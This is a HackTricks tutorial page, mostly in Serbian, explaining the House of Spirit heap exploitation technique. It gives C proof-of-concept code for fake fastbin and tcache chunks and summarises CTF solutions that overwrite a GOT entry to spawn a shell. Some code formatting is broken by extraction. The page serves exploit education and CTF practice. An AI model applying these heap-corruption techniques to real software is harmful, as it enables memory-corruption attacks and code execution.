House of Spirit
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Kod
House of Spirit
```c #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);
// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf(“Victim: %p\n”, victim);
return 0; }
</details>
### Goal
- Mogućnost dodavanja adrese u tcache / fast bin kako bi je kasnije bilo moguće alocirati
### Requirements
- Ovaj napad zahteva da napadač može da kreira par fake fast chunks koji na odgovarajućim mestima sadrže ispravnu vrednost size polja, i zatim da oslobodi prvi fake chunk tako da završi u binu.
- Sa **tcache (glibc ≥2.26)** napad je još jednostavniji: potreban je samo jedan fake chunk (na tcache putanji se ne vrši next-chunk size check), pod uslovom da je fake chunk 0x10-aligned i da mu size polje pripada validnom tcache bin-u (0x20-0x410 on x64).
### Attack
- Kreirajte fake chunks koji zaobilaze sigurnosne provere: u osnovi će vam trebati 2 fake chunks koji na ispravnim pozicijama sadrže odgovarajuće size vrednosti
- Na neki način oslobodite prvi fake chunk tako da završi u fast ili tcache bin-u, pa ga potom alocirajte kako biste prepisali tu adresu
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Iako ova šema iz koda to prilično dobro sumira:
<details>
<summary>Raspored fake chunk-a</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Tip
Imajte na umu da je neophodno kreirati drugi chunk kako biste zaobišli neke sanity provere.
Tcache house of spirit (glibc ≥2.26)
- Na modernom glibc tcache fast-path poziva
tcache_putpre nego što validira veličinu sledećeg chunka/prev_inuse, tako da samo trenutni lažni chunk mora izgledati ispravno. - Zahtevi:
- Lažni chunk mora biti poravnat na 16 bajtova i ne sme biti označen kao
IS_MMAPPED/NON_MAIN_ARENA. sizemora pripadati tcache binu i uključivati prev_inuse bit set (size | 1).- Tcache za taj bin ne sme biti pun (podrazumevano maksimum 7 unosa).
- Minimalni PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41; // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2]; // points inside fake chunk
free(p); // goes straight into tcache
void *q = malloc(0x30); // returns stack address fake+2
- Safe-linking ovde nije prepreka: forward pointer koji se čuva u tcache se automatski enkodira kao
fd = ptr ^ (heap_base >> 12)tokomfree, tako da napadač ne mora da zna ključ pri korišćenju jednog fake chunk-a. - Ova varijanta je korisna kada su glibc hooks uklonjeni (≥2.34) i želite brz arbitrary write ili da overlap-ujete ciljnu bafer oblast (npr. stack/BSS) sa tcache chunk-om bez pravljenja dodatnih korupcija.
Primeri
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Libc infoleak: Kroz overflow moguće je promeniti pointer da pokazuje na GOT address kako bi se leak-ovao libc address preko read akcije u CTF-u.
-
House of Spirit: Zloupotrebom brojača koji prebrojava broj “rifles” moguće je generisati fake size prvog fake chanka; potom zloupotrebom “message”-a moguće je postaviti drugi fake size chunk-a i na kraju zloupotrebom overflow-a moguće je promeniti pointer koji će biti freed tako da se naš prvi fake chunk free-uje. Nakon toga možemo alocirati taj chunk u kojem će biti adresa na kojoj je “message” smešten. Tada je moguće usmeriti tu adresu na
scanfentry u GOT tabeli, pa overwrite-ovatiscanfsa adresomsystem. Sledeći put kad sescanfpozove, možemo poslati input"/bin/sh"i dobiti shell. -
Glibc leak: Neinicijalizovan stack buffer.
-
House of Spirit: Možemo izmeniti prvi indeks globalnog niza heap pointera. Jednom bajt modifikacije koristi se da se pozove
freena fake chunk-u unutar validnog chanka, što dovodi do overlap situacije nakon ponovne alokacije. Sa tim, jednostavan Tcache poisoning attack omogućava arbitrary write primitive.
Reference
- https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
- https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


